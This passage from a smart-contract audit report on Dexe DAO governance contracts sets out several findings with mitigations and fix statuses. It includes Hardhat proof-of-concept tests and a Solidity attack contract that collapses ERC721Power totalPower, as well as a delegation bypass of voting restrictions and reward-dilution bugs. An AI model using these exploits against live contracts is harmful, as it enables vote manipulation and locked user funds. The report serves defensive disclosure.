To run the PoC: `npx hardhat test --grep "bypass token sale maxAllocationPerUser"`

Recommended Mitigation: `libs/gov/token-sale-proposal/TokenSaleProposalBuy.sol` L115-120 should add the total amount already purchased by the user in the current tier to the current amount being purchased in the same tier, and ensure this total is `<= maxAllocationPerUser`.

Dexe: Fixed in PR164. We also changed how `exchageRate` works. So it was "how many sale tokens per purchase token", now it is "how many purchase tokens per sale token".

Cyfrin: Verified; changed our PoC exchange rate to 1:1.

7.2.3 A malicious DAO Pool can create a token sale tier without actually transferring any DAO tokens

Description: `TokenSaleProposalCreate::createTier` is called by a DAO Pool owner to create a new token sale tier. A fundamental prerequisite for creating a tier is that the DAO Pool owner must transfer the `totalTokenProvided` amount of DAO tokens to the `TokenSaleProposal`.

Current implementation implements a low-level call to transfer tokens from `msg.sender(GovPool)` to `TokenSaleProposal` contract. However, the implementation fails to validate the token balances after the transfer is successful. We notice a `dev` comment stating "return value is not checked intentionally" - even so, this vulnerability is not related to checking return `status` but to verifying the contract balances before & after the call.

```
function createTier(
        mapping(uint256 => ITokenSaleProposal.Tier) storage tiers,
        uint256 newTierId,
        ITokenSaleProposal.TierInitParams memory _tierInitParams
    ) external {

       ....
         /// @dev return value is not checked intentionally
  >      tierInitParams.saleTokenAddress.call(
            abi.encodeWithSelector(
                IERC20.transferFrom.selector,
                msg.sender,
                address(this),
                totalTokenProvided
            )
        );  //@audit -> no check if the contract balance has increased proportional to the
        ↪  totalTokenProvided
   }
```

Since a DAO Pool owner can use any ERC20 as a DAO token, it is possible for a malicious Gov Pool owner to implement a custom ERC20 implementation of a token that overrides the `transferFrom` function. This function can override the standard ERC20 `transferFrom` logic that fakes a successful transfer without actually transferring underlying tokens.

Impact: A fake tier can be created without the proportionate amount of DAO Pool token balance in the `TokenSaleProposal` contract. Naive users can participate in such a token sale assuming their DAO token claims will be honoured at a future date. Since the pool has insufficient token balance, any attempts to claim the DAO pool tokens can lead to a permanent DOS.

Recommended Mitigation: Calculate the contract balance before and after the low-level call and verify if the account balance increases by `totalTokenProvided`. Please be mindful that this check is only valid for non-fee-on-transfer tokens. For fee-on-transfer tokens, the balance increase needs to be further adjusted for the transfer fees. Example code for non-free-on-transfer-tokens:

```
        // transfer sale tokens to TokenSaleProposal and validate the transfer
        IERC20 saleToken = IERC20(_tierInitParams.saleTokenAddress);

        // record balance before transfer in 18 decimals
        uint256 balanceBefore18 =
        ↪  saleToken.balanceOf(address(this)).to18(_tierInitParams.saleTokenAddress);

        // perform the transfer
        saleToken.safeTransferFrom(
            msg.sender,
            address(this),
            _tierInitParams.totalTokenProvided.from18Safe(_tierInitParams.saleTokenAddress)
        );

        // record balance after the transfer in 18 decimals
        uint256 balanceAfter18 =
        ↪  saleToken.balanceOf(address(this)).to18(_tierInitParams.saleTokenAddress);

        // verify that the transfer has actually occured to protect users from malicious
        // sale tokens that don't actually send the tokens for the token sale
        require(balanceAfter18 - balanceBefore18 == _tierInitParams.totalTokenProvided,
                "TSP: token sale proposal creation received incorrect amount of tokens"
        );
```

Dexe: Fixed in PR177.

Cyfrin: The fix changed from using `transferFrom` to `safeTransferFrom` however the recommendation requires that the actual balance be checked before and after the transfer to verify the correct amount of tokens have actually been transferred.

7.2.4 Attacker can use delegation to bypass voting restriction to vote on proposals they are restricted from voting on

Description: Attacker can use delegation to bypass voting restriction to vote on proposals they are restricted from voting on.

Impact: Attacker can vote on proposals they are restricted from voting on.

Proof of Concept: Add PoC to `GovPool.test.js` under section `describe("vote()", () => {`:

```
    it("audit bypass user restriction on voting via delegation", async () => {
      let votingPower = wei("100000000000000000000");
      let proposalId  = 1;

      // create a proposal where SECOND is restricted from voting
      await govPool.createProposal(
        "example.com",
        [[govPool.address, 0, getBytesUndelegateTreasury(SECOND, 1, [])]],
        []
      );

      // if SECOND tries to vote directly this fails
      await truffleAssert.reverts(
        govPool.vote(proposalId, true, votingPower, [], { from: SECOND }),
        "Gov: user restricted from voting in this proposal"
      );

      // SECOND has another address SLAVE which they control
      let SLAVE = await accounts(10);

      // SECOND delegates their voting power to SLAVE
      await govPool.delegate(SLAVE, votingPower, [], { from: SECOND });

      // SLAVE votes on the proposal; votes "0" as SLAVE has no
      // personal voting power, only the delegated power from SECOND
      await govPool.vote(proposalId, true, "0", [], { from: SLAVE });

      // verify SLAVE's voting
      assert.equal(
        (await govPool.getUserVotes(proposalId, SLAVE, VoteType.PersonalVote)).totalRawVoted,
        "0" // personal votes remain the same
      );
      assert.equal(
        (await govPool.getUserVotes(proposalId, SLAVE, VoteType.MicropoolVote)).totalRawVoted,
        votingPower // delegated votes from SECOND now included
      );
      assert.equal(
        (await govPool.getTotalVotes(proposalId, SLAVE, VoteType.PersonalVote))[0].toFixed(),
        votingPower // delegated votes from SECOND now included
      );

      // SECOND was able to abuse delegation to vote on a proposal they were
      // restricted from voting on.
    });
```

Run with: `npx hardhat test --grep "audit bypass user restriction on voting via delegation"`

Recommended Mitigation: Rework the voting restriction mechanism such that attackers can't abuse the delegation system to vote on proposals they are prohibited from voting on.

Dexe: Fixed in PR168.

Cyfrin: Verified.

7.2.5 Delegators incorrectly receive less rewards for longer proposals with multiple delegations

Description: Delegators incorrectly receive less rewards for longer proposals with multiple delegations as retrieving the expected rewards from the list of delegations will fail to retrieve the entire delegated amount when multiple delegations occur from the same delegator to the same delegatee over separate blocks.

Impact: Delegators will receive less rewards than they should.

Proof of Concept: Consider this scenario:

2 Proposals that have a longer active timeframe with an `endDate` 2 months from now.

Proposal 1, Delegator delegates full voting power to Delegatee who votes, deciding proposal 1. Proposal 1 gets executed, both delegatee & delegator get paid their correct rewards.

Proposal 2, Delegator delegates half their voting power to Delegatee who votes but these votes aren't enough to decide the proposal. One month passes & the proposal is still active as it goes for 2 months.

Delegator delegates the second half of their voting power to Delegatee. This triggers the automatic `revoteDelegated` such that Delegatee votes with the full voting power of Delegator which is enough to decide proposal 2.

Proposal 2 is then executed. Delegatee gets paid the full rewards for using Delegator's full voting power, but Delegator only receives *HALF* of the rewards they should get, even though they delegated their full voting power which was used to decide the proposal.

Here is where it gets even more interesting; if instead of doing the second half-power delegation, Delegator undelegates the remaining amount then delegates the full amount and then Delegatee votes, Delegator gets paid the full rewards. But if delegator delegates in multiple (2 txns) with a month of time elapsing between them, they only get paid half the rewards.

First add this helper function in `GovPool.test.js` under section `describe("Fullfat GovPool", () => {`:

```
  async function changeInternalSettings2(validatorsVote, duration) {
    let GOV_POOL_SETTINGS =
    ↪  JSON.parse(JSON.stringify(POOL_PARAMETERS.settingsParams.proposalSettings[1]));
    GOV_POOL_SETTINGS.validatorsVote = validatorsVote;
    GOV_POOL_SETTINGS.duration = duration;

    await executeValidatorProposal(
      [
        [settings.address, 0, getBytesAddSettings([GOV_POOL_SETTINGS])],
        [settings.address, 0, getBytesChangeExecutors([govPool.address, settings.address], [4, 4])],
      ],
      []
    );
  }
```

Then put PoC in `GovPool.test.js` under section `describe("getProposalState()", () => {`:

```
    it("audit micropool rewards short-change delegator for long proposals with multiple delegations",
    ↪  async () => {
      // so proposals will be active in voting state for longer
      const WEEK = (30 * 24 * 60 * 60) / 4;
      const TWO_WEEKS = WEEK * 2;
```

```
const MONTH = TWO_WEEKS * 2;
const TWO_MONTHS = MONTH * 2;

// so proposal doesn't need to go to validators
await changeInternalSettings2(false, TWO_MONTHS);

// required for executing the first 2 proposals
await govPool.deposit(govPool.address, wei("200"), []);

// create 4 proposals; only the first 2 will be executed
// create proposal 1
await govPool.createProposal(
  "example.com",
  [[govPool.address, 0, getBytesGovVote(4, wei("100"), [], true)]],
  [[govPool.address, 0, getBytesGovVote(4, wei("100"), [], false)]]
);
// create proposal 2
await govPool.createProposal(
  "example.com",
  [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], true)]],
  [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], false)]]
);
// create proposal 3
await govPool.createProposal(
  "example.com",
  [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], true)]],
  [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], false)]]
);
// create proposal 4
await govPool.createProposal(
  "example.com",
  [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], true)]],
  [[govPool.address, 0, getBytesGovVote(5, wei("100"), [], false)]]
);

let proposal1Id = 2;
let proposal2Id = 3;
let DELEGATEE = await accounts(10);
let DELEGATOR1 = await accounts(9);

let delegator1Tokens = wei("200000000000000000000");
let delegator1Half = wei("100000000000000000000");

let delegateeReward = wei("40000000000000000000");
let delegator1Reward = wei("160000000000000000000");

// mint tokens & deposit them to have voting power
await token.mint(DELEGATOR1, delegator1Tokens);
await token.approve(userKeeper.address, delegator1Tokens, { from: DELEGATOR1 });
await govPool.deposit(DELEGATOR1, delegator1Tokens, [], { from: DELEGATOR1 });

// delegator1 delegates its total voting power to AUDITOR
await govPool.delegate(DELEGATEE, delegator1Tokens, [], { from: DELEGATOR1 });

// DELEGATEE votes on the first proposal
await govPool.vote(proposal1Id, true, "0", [], { from: DELEGATEE });

// advance time
await setTime((await getCurrentBlockTime()) + 1);

// proposal now in SucceededFor state
assert.equal(await govPool.getProposalState(proposal1Id), ProposalState.SucceededFor);
```

```
// execute proposal 1
await govPool.execute(proposal1Id);

// verify pending rewards via GovPool::getPendingRewards()
let pendingRewards = await govPool.getPendingRewards(DELEGATEE, [proposal1Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, delegateeReward);
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

pendingRewards = await govPool.getPendingRewards(DELEGATOR1, [proposal1Id]);

assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
assert.equal(pendingRewards.votingRewards[0].personal, "0");
assert.equal(pendingRewards.votingRewards[0].micropool, "0");
assert.equal(pendingRewards.votingRewards[0].treasury, "0");

// verify pending delegator rewards via GovPool::getDelegatorRewards()
pendingRewards = await govPool.getDelegatorRewards([proposal1Id], DELEGATOR1, DELEGATEE);
assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
assert.deepEqual(pendingRewards.isVoteFor, [true]);
assert.deepEqual(pendingRewards.isClaimed, [false]);
// delegator1 receives full reward for all tokens they delegated
assert.deepEqual(pendingRewards.expectedRewards, [delegator1Reward]);

// reward balances 0 before claiming rewards
assert.equal((await rewardToken.balanceOf(DELEGATEE)).toFixed(), "0");
assert.equal((await rewardToken.balanceOf(DELEGATOR1)).toFixed(), "0");

// claim rewards
await govPool.claimRewards([proposal1Id], { from: DELEGATEE });
await govPool.claimMicropoolRewards([proposal1Id], DELEGATEE, { from: DELEGATOR1 });

// verify reward balances after claiming rewards
assert.equal((await rewardToken.balanceOf(DELEGATEE)).toFixed(), delegateeReward);
assert.equal((await rewardToken.balanceOf(DELEGATOR1)).toFixed(), delegator1Reward);

assert.equal(await govPool.getProposalState(proposal2Id), ProposalState.Voting);

// delegator1 undelegates half of its total voting power from DELEGATEE,
// such that DELEGATEE only has half the voting power for second proposal
await govPool.undelegate(DELEGATEE, delegator1Half, [], { from: DELEGATOR1 });

// DELEGATEE votes on the second proposal for the first time using the first
// half of DELEGATOR1's voting power. This isn't enough to decide the proposal
await govPool.vote(proposal2Id, true, "0", [], { from: DELEGATEE });

// time advances 1 month, proposal is a longer proposal so still in voting state
await setTime((await getCurrentBlockTime()) + MONTH);

// delegator1 delegates remaining half of its voting power to DELEGATEE
// this cancels the previous vote and re-votes with the full voting power
// which will be enough to decide the proposal
await govPool.delegate(DELEGATEE, delegator1Half, [], { from: DELEGATOR1 });

// advance time
await setTime((await getCurrentBlockTime()) + 1);

// proposal now in SucceededFor state
assert.equal(await govPool.getProposalState(proposal2Id), ProposalState.SucceededFor);
```

```
        // execute proposal 2
        await govPool.execute(proposal2Id);

        // verify pending rewards via GovPool::getPendingRewards()
        pendingRewards = await govPool.getPendingRewards(DELEGATEE, [proposal2Id]);

        assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
        assert.equal(pendingRewards.votingRewards[0].personal, "0");
        // delegatee getting paid the full rewards for the total voting power
        // delegator1 delegated
        assert.equal(pendingRewards.votingRewards[0].micropool, delegateeReward);
        assert.equal(pendingRewards.votingRewards[0].treasury, "0");

        pendingRewards = await govPool.getPendingRewards(DELEGATOR1, [proposal2Id]);

        assert.deepEqual(pendingRewards.onchainTokens, [rewardToken.address]);
        assert.equal(pendingRewards.votingRewards[0].personal, "0");
        assert.equal(pendingRewards.votingRewards[0].micropool, "0");
        assert.equal(pendingRewards.votingRewards[0].treasury, "0");

        // verify pending delegator rewards via GovPool::getDelegatorRewards()
        pendingRewards = await govPool.getDelegatorRewards([proposal2Id], DELEGATOR1, DELEGATEE);
        assert.deepEqual(pendingRewards.rewardTokens, [rewardToken.address]);
        assert.deepEqual(pendingRewards.isVoteFor, [true]);
        assert.deepEqual(pendingRewards.isClaimed, [false]);

        // fails as delegator1 only paid half the rewards - not being paid for the
        // full amount it delegated!
        assert.deepEqual(pendingRewards.expectedRewards, [delegator1Reward]);
      });
```

Run with: `npx hardhat test --grep "rewards short-change delegator for long proposals"`

Recommended Mitigation: Change how `GovMicroPool` retrieves the expected rewards from the list of delegated amounts such that the entire delegated amount will be retrieved when the same delegator delegates to the same delegatee multiple times over separate blocks.

Dexe: Fixed in PR170.

Cyfrin: Verified.

7.2.6 Attacker can at anytime dramatically lower `ERC721Power::totalPower` close to 0

Description: Attacker can at anytime dramatically lower `ERC721Power::totalPower` close to 0 using a permissionless attack contract by taking advantage of being able to call `ERC721Power::recalculateNftPower()` & `getNftPower()` for non-existent nfts:

```
function getNftPower(uint256 tokenId) public view override returns (uint256) {
    if (block.timestamp <= powerCalcStartTimestamp) {
        return 0;
    }

    // @audit 0 for non-existent tokenId
    uint256 collateral = nftInfos[tokenId].currentCollateral;

    // Calculate the minimum possible power based on the collateral of the nft
    // @audit returns default maxPower for non-existent tokenId
    uint256 maxNftPower = getMaxPowerForNft(tokenId);
    uint256 minNftPower = maxNftPower.ratio(collateral, getRequiredCollateralForNft(tokenId));
    minNftPower = maxNftPower.min(minNftPower);
```

```
    // Get last update and current power. Or set them to default if it is first iteration
    // @audit both 0 for non-existent tokenId
    uint64 lastUpdate = nftInfos[tokenId].lastUpdate;
    uint256 currentPower = nftInfos[tokenId].currentPower;

    if (lastUpdate == 0) {
        lastUpdate = powerCalcStartTimestamp;
        // @audit currentPower set to maxNftPower which
        // is just the default maxPower even for non-existent tokenId!
        currentPower = maxNftPower;
    }

    // Calculate reduction amount
    uint256 powerReductionPercent = reductionPercent * (block.timestamp - lastUpdate);
    uint256 powerReduction = currentPower.min(maxNftPower.percentage(powerReductionPercent));
    uint256 newPotentialPower = currentPower - powerReduction;

    // @audit returns newPotentialPower slightly reduced
    // from maxPower for non-existent tokenId
    if (minNftPower <= newPotentialPower) {
        return newPotentialPower;
    }

    if (minNftPower <= currentPower) {
        return minNftPower;
    }

    return currentPower;
}

function recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {
    if (block.timestamp < powerCalcStartTimestamp) {
        return 0;
    }

    // @audit newPower > 0 for non-existent tokenId
    newPower = getNftPower(tokenId);

    NftInfo storage nftInfo = nftInfos[tokenId];

    // @audit as this is the first update since
    // tokenId doesn't exist, totalPower will be
    // subtracted by nft's max power
    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    // @audit then totalPower is increased by newPower where:
    // 0 < newPower < maxPower hence net decrease to totalPower
    totalPower += newPower;

    nftInfo.lastUpdate = uint64(block.timestamp);
    nftInfo.currentPower = newPower;
}
```

Impact: `ERC721Power::totalPower` lowered to near 0. This can be used to artificially increase voting power since `totalPower` is read when creating the snapshot and is used as the divisor in `GovUserKeeper::getNftsPowerInTokensBySnapshot()`.

This attack is pretty devastating as `ERC721Power::totalPower` can never be increased since the `currentPower` of individual nfts can only ever be decreased; there is no way to "undo" this attack unless the nft contract is replaced with a new contract.

Proof of Concept: Add attack contract `mock/utils/ERC721PowerAttack.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "../../gov/ERC721/ERC721Power.sol";

import "hardhat/console.sol";

contract ERC721PowerAttack {
    // this attack can decrease ERC721Power::totalPower close to 0
    //
    // this attack works when block.timestamp > nftPower.powerCalcStartTimestamp
    // by taking advantage calling recalculateNftPower for non-existent nfts
    function attack2(
        address nftPowerAddr,
        uint256 initialTotalPower,
        uint256 lastTokenId,
        uint256 attackIterations
    ) external {
        ERC721Power nftPower = ERC721Power(nftPowerAddr);

        // verify attack starts on the correct block
        require(
            block.timestamp > nftPower.powerCalcStartTimestamp(),
            "ERC721PowerAttack: attack2 requires block.timestamp > nftPower.powerCalcStartTimestamp"
        );

        // verify totalPower() correct at starting block
        require(
            nftPower.totalPower() == initialTotalPower,
            "ERC721PowerAttack: incorrect initial totalPower"
        );

        // output totalPower before attack
        console.log(nftPower.totalPower());

        // keep calling recalculateNftPower() for non-existent nfts
        // this lowers ERC721Power::totalPower() every time
        // can't get it to 0 due to underflow but can get close enough
        for (uint256 i; i < attackIterations; ) {
            nftPower.recalculateNftPower(++lastTokenId);
            unchecked {
                ++i;
            }
        }

        // output totalPower after attack
        console.log(nftPower.totalPower());

        // original totalPower : 100000000000000000000000000
        // current  totalPower : 900000000000000000000000
        require(
            nftPower.totalPower() == 900000000000000000000000,
            "ERC721PowerAttack: after attack finished totalPower should equal
            ↪  900000000000000000000000"
        );
    }
}
```

Add test harness to `ERC721Power.test.js`:

```
describe("audit attacker can manipulate ERC721Power totalPower", () => {
  it("audit attack 2 dramatically lowers ERC721Power totalPower", async () => {
    // deploy the ERC721Power nft contract with:
    // max power of each nft = 100
    // power reduction 10%
    // required collateral = 100
    let maxPowerPerNft = toPercent("100");
    let requiredCollateral = wei("100");
    let powerCalcStartTime = (await getCurrentBlockTime()) + 1000;

    // create power nft contract
    await deployNft(powerCalcStartTime, maxPowerPerNft, toPercent("10"), requiredCollateral);

    // ERC721Power::totalPower should be zero as no nfts yet created
    assert.equal((await nft.totalPower()).toFixed(), toPercent("0").times(1).toFixed());

    // create the attack contract
    const ERC721PowerAttack = artifacts.require("ERC721PowerAttack");
    let attackContract = await ERC721PowerAttack.new();

    // create 10 power nfts for SECOND
    await nft.safeMint(SECOND, 1);
    await nft.safeMint(SECOND, 2);
    await nft.safeMint(SECOND, 3);
    await nft.safeMint(SECOND, 4);
    await nft.safeMint(SECOND, 5);
    await nft.safeMint(SECOND, 6);
    await nft.safeMint(SECOND, 7);
    await nft.safeMint(SECOND, 8);
    await nft.safeMint(SECOND, 9);
    await nft.safeMint(SECOND, 10);

    // verify ERC721Power::totalPower has been increased by max power for all nfts
    assert.equal((await nft.totalPower()).toFixed(), maxPowerPerNft.times(10).toFixed());

    // fast forward time to just after the start of power calculation
    await setTime(powerCalcStartTime);

    // launch the attack
    await attackContract.attack2(nft.address, maxPowerPerNft.times(10).toFixed(), 10, 91);
  });
});
```

Run attack with: `npx hardhat test --grep "audit attack 2 dramatically lowers ERC721Power totalPower"`

Recommended Mitigation: `ERC721Power::recalculateNftPower()` should revert when called for non-existent nfts.

Dexe: Fixed in PR174.

Cyfrin: Verified.

7.2.7 `DistributionProposal` 'for' voter rewards diluted by 'against' voters and missing rewards permanently stuck in `DistributionProposal` contract

Description: `DistributionProposal` only pays rewards to users who voted "for" the proposal, not "against" it.

But when calculating the reward `DistributionProposal::getPotentialReward()` the divisor is `coreRawVotesFor + coreRawVotesAgainst` which represents the total sum of all votes both "for" and "against", even though votes

"against" are excluded from rewards.

The effect of this is that rewards to "for" voters are diluted by "against" voters, even though "against" voters don't qualify for the rewards. The missing rewards are permanently stuck inside the `DistributionProposal` contract unable to ever be paid out.

Attempting to retrieve the rewards by creating a new `DistributionProposal` fails as the rewards are stuck inside the existing `DistributionProposal` contract. Attempting to create a new 2nd "rescue" proposal `secondProposalId` using the existing `DistributionProposal` contract fails as:

1) `DistributionProposal::execute()` requires `amount > 0` and transfers that amount into the contract, so it would have to be re-funded again with `newRewardAmount`
2) `DistributionProposal::execute()` sets `proposals[secondProposalId].rewardAmount = newRewardAmount`
3) `DistributionProposal::claim()` has to be called with `secondProposalId` which calls `DistributionProposal::getPotentialReward()` which uses this `newRewardAmount` for calculating the reward users will receive.

So it doesn't appear possible to rescue the unpaid amount from the first proposal using this strategy. There appears to be no mechanism to retrieve unpaid tokens from the `DistributionProposal` contract.

Impact: In every proposal that has both "for" and "against" voters, the `DistributionProposal` rewards paid out to "for" voters will be less than the total reward amount held by the `DistributionProposal` contract and the missing balance will be permanently stuck inside the `DistributionProposal` contract.

Proof of Concept: Add PoC to `DistributionProposal.test.js` under section `describe("claim()", () => {`:

```
    it("audit for voter rewards diluted by against voter, remaining rewards permanently stuck in
    ↪  DistributionProposal contract", async () => {
      let rewardAmount = wei("10");
      let halfRewardAmount = wei("5");

      // mint reward tokens to sending address
      await token.mint(govPool.address, rewardAmount);

      // use GovPool to create a proposal with 10 wei reward
      await govPool.createProposal(
        "example.com",
        [
          [token.address, 0, getBytesApprove(dp.address, rewardAmount)],
          [dp.address, 0, getBytesDistributionProposal(1, token.address, rewardAmount)],
        ],
        [],
        { from: SECOND }
      );

      // only 1 vote "for" by SECOND who should get the entire 10 wei reward
      await govPool.vote(1, true, 0, [1], { from: SECOND });
      // but THIRD votes "against", these votes are excluded from getting the reward
      await govPool.vote(1, false, 0, [6], { from: THIRD });

      // fully fund the proposal using erc20 token
      await impersonate(govPool.address);
      await token.approve(dp.address, rewardAmount, { from: govPool.address });
      await dp.execute(1, token.address, rewardAmount, { from: govPool.address });

      // verify SECOND has received no reward
      assert.equal((await token.balanceOf(SECOND)).toFixed(), "0");

      // claiming the reward releases the erc20 tokens
      await dp.claim(SECOND, [1]);
```

```
    // SECOND only receives half the total reward as the reward is diluted
    // by the "against" vote, even though that vote is excluded from the reward.
    // as a consequence only half of the reward is paid out to the "for" voter when
    // they should get 100% of the reward since they were the only "for" voter and
    // only "for" votes qualify for rewards
    assert.equal((await token.balanceOf(SECOND)).toFixed(), halfRewardAmount);

    // the remaining half of the reward is permanently stuck
    // inside the DistributionProposal contract!
    assert.equal((await token.balanceOf(dp.address)).toFixed(), halfRewardAmount);
  });
```

Run with: `npx hardhat test --grep "audit for voter rewards diluted by against voter"`

Recommended Mitigation: Consider one of the following options:

a) Change the reward calculation divisor to use only `coreRawVotesFor`.

b) If the intentional design is to allow "against" voters to dilute the rewards of "for" voters, then implement a mechanism to refund the unpaid tokens from the `DistributionProposal` contract back to the `GovPool` contract. This could be done inside `DistributionProposal::execute()` using a process like:

1) calculating `againstDilutionAmount`,
2) setting `proposal.rewardAmount = amount - againstDilutionAmount`
3) refunding `againstDilutionAmount` back to `govPool`
4) change the reward calculation divisor to use only `coreRawVotesFor`

Note: 2) gets slightly more complicated if the intention is to support fee-on-transfer tokens since the actual amount received by the contract would need to be calculated & used instead of the input amount.

Dexe: Fixed in PR174.

Cyfrin: Verified.

7.2.8 `GovPool::delegateTreasury` does not verify transfer of tokens and NFTs to delegatee leading to potential voting manipulation

Description: `GovPool::delegateTreasury` transfers ERC20 tokens & specific nfts from DAO treasury to `govUserKeeper`. Based on this transfer, the `tokenBalance` and `nftBalance` of the delegatee is increased. This allows a delegatee to use this delegated voting power to vote in critical proposals.

As the following snippet of `GovPool::delegateTreasury` function shows, there is no verification that the tokens and nfts are actually transferred to the `govUserKeeper`. It is implicitly assumed that a successful transfer is completed and subsequently, the voting power of the delegatee is increased.

```
function delegateTreasury(
      address delegatee,
      uint256 amount,
      uint256[] calldata nftIds
  ) external override onlyThis {
      require(amount > 0 || nftIds.length > 0, "Gov: empty delegation");
      require(getExpertStatus(delegatee), "Gov: delegatee is not an expert");

      _unlock(delegatee);

      if (amount != 0) {
          address token = _govUserKeeper.tokenAddress();

>          IERC20(token).transfer(address(_govUserKeeper), amount.from18(token.decimals())); //@audit
↪  no check if tokens are actually transferred

          _govUserKeeper.delegateTokensTreasury(delegatee, amount);
      }

      if (nftIds.length != 0) {
          IERC721 nft = IERC721(_govUserKeeper.nftAddress());

          for (uint256 i; i < nftIds.length; i++) {
>              nft.safeTransferFrom(address(this), address(_govUserKeeper), nftIds[i]); //-n no check
↪  if nft's are actually transferred
          }

          _govUserKeeper.delegateNftsTreasury(delegatee, nftIds);
      }

      _revoteDelegated(delegatee, VoteType.TreasuryVote);

      emit DelegatedTreasury(delegatee, amount, nftIds, true);
  }
```

This could lead to a dangerous situation where a malicious DAO treasury can increase voting power manifold while actually transferring tokens only once (or even, not transfer at all). This breaks the invariance that the total accounting balances in `govUserKeeper` contract must match the actual token balances in that contract.

Impact: Since both the ERC20 and ERC721 token implementations are controlled by the DAO, and since we are dealing with upgradeable token contracts, there is a potential rug-pull vector created by the implicit transfer assumption above.

Recommended Mitigation: Since DEXE starts out with a trustless assumption that does not give any special trust privileges to a DAO treasury, it is always prudent to follow the "trust but verify" approach when it comes to non-standard tokens, both ERC20 and ERC721. To that extent, consider adding verification of token & nft balance increase before/after token transfer.

Dexe: Acknowledged; this finding is about tokens we have no control over. These tokens have to be corrupt in order for `safeTransferFrom` and `transfer` functions to not work. With legit tokens everything works as intended.

7.2.9 Static `GovUserKeeper::_nftInfo.totalPowerInTokens` used in quorum denominator can incorrectly make it impossible to reach quorum

Description: Consider the following factors:

1) `GovPoolVote::_quorumReached()` uses `GovUserKeeper::getTotalVoteWeight()` as the denominator for determining whether quorum has been reached.

2) `GovUserKeeper::getTotalVoteWeight()` returns the current total supply of ERC20 tokens plus `_nftInfo.totalPowerInTokens`

3) `_nftInfo.totalPowerInTokens` which is only set once at initialization represents the total voting power of the nft contract in erc20 tokens.

When voting using `ERC721Power` nfts where nft power can decrease to zero if nfts don't have the required collateral deposited, this can result in a state where `ERC721Power.totalPower() == 0` but `GovUserKeeper::_nftInfo.totalPowerInTokens > 0`.

Hence the voting power of the ERC20 voting tokens will be incorrectly diluted by the nft's initial voting power `GovUserKeeper::_nftInfo.totalPowerInTokens`, even though the nfts have lost all voting power.

This can result in a state where quorum is impossible to reach.

Impact: Quorum can be impossible to reach.

Proof of Concept: Firstly comment out GovUserKeeper L677 & L690 to allow quickly in-place changing of the voting & nft contracts.

Add PoC to `GovPool.test.js` under section `describe("getProposalState()", () => {`:

```
    it("audit static GovUserKeeper::_nftInfo.totalPowerInTokens in quorum denominator can incorrectly
    ↪  make it impossible to reach quorum", async () => {
      // time when nft power calculation starts
      let powerNftCalcStartTime = (await getCurrentBlockTime()) + 200;

      // required so we can call .toFixed() on BN returned outputs
      ERC721Power.numberFormat = "BigNumber";

      // ERC721Power.totalPower should be zero as no nfts yet created
      assert.equal((await nftPower.totalPower()).toFixed(), "0");

      // so proposal doesn't need to go to validators
      await changeInternalSettings(false);

      // set nftPower as the voting nft
      // need to comment out check preventing updating existing
      // nft address in GovUserKeeper::setERC721Address()
      await impersonate(govPool.address);
      await userKeeper.setERC721Address(nftPower.address, wei("190000000000000000000"), 1, { from:
      ↪  govPool.address });

      // create a new VOTER account and mint them the only power nft
      let VOTER = await accounts(10);
      await nftPower.safeMint(VOTER, 1);

      // switch to using a new ERC20 token for voting; lets us
      // control exactly who has what voting power without worrying about
      // what previous setups have done
      // requires commenting out require statement in GovUserKeeper::setERC20Address()
      let newVotingToken = await ERC20Mock.new("NEWV", "NEWV", 18);
      await impersonate(govPool.address);
      await userKeeper.setERC20Address(newVotingToken.address, { from: govPool.address });

      // mint VOTER some tokens that when combined with their NFT are enough
      // to reach quorum
      let voterTokens = wei("190000000000000000000");
      await newVotingToken.mint(VOTER, voterTokens);
      await newVotingToken.approve(userKeeper.address, voterTokens, { from: VOTER });
      await nftPower.approve(userKeeper.address, "1", { from: VOTER });

      // VOTER deposits their tokens & nft to have voting power
      await govPool.deposit(VOTER, voterTokens, [1], { from: VOTER });
```

```
// advance to the approximate time when nft power calculation starts
await setTime(powerNftCalcStartTime);

// verify nft power after power calculation has started
let nftTotalPowerBefore = "900000000000000000000000000";
assert.equal((await nftPower.totalPower()).toFixed(), nftTotalPowerBefore);

// create a proposal which takes a snapshot of the current nft power
let proposal1Id = 2;

await govPool.createProposal(
  "example.com",
  [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
  [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
);

// vote on first proposal
await govPool.vote(proposal1Id, true, voterTokens, [1], { from: VOTER });

// advance time to allow proposal state change
await setTime((await getCurrentBlockTime()) + 10);

// verify that proposal has reached quorum;
// VOTER's tokens & nft was enough to reach quorum
assert.equal(await govPool.getProposalState(proposal1Id), ProposalState.SucceededFor);

// advance time; since VOTER's nft doesn't have collateral deposited
// its power will decrement to zero
await setTime((await getCurrentBlockTime()) + 10000);

// call ERC721::recalculateNftPower() for the nft, this will update
// ERC721Power.totalPower with the actual current total power
await nftPower.recalculateNftPower("1");

// verify that the true totalPower has decremented to zero as the nft
// lost all its power since it didn't have collateral deposited
assert.equal((await nftPower.totalPower()).toFixed(), "0");

// create 2nd proposal which takes a snapshot of the current nft power
let proposal2Id = 3;

await govPool.createProposal(
  "example.com",
  [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
  [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
);

// vote on second proposal
await govPool.vote(proposal2Id, true, voterTokens, [1], { from: VOTER });

// advance time to allow proposal state change
await setTime((await getCurrentBlockTime()) + 10);

// verify that proposal has not reached quorum;
// even though VOTER owns 100% of the supply of the ERC20 voting token,
// it is now impossible to reach quorum since the power of VOTER's
// ERC20 tokens is being incorrectly diluted through the quorum calculation
// denominator assuming the nfts still have voting power.
//
// this is incorrect as the nft has lost all power. The root cause
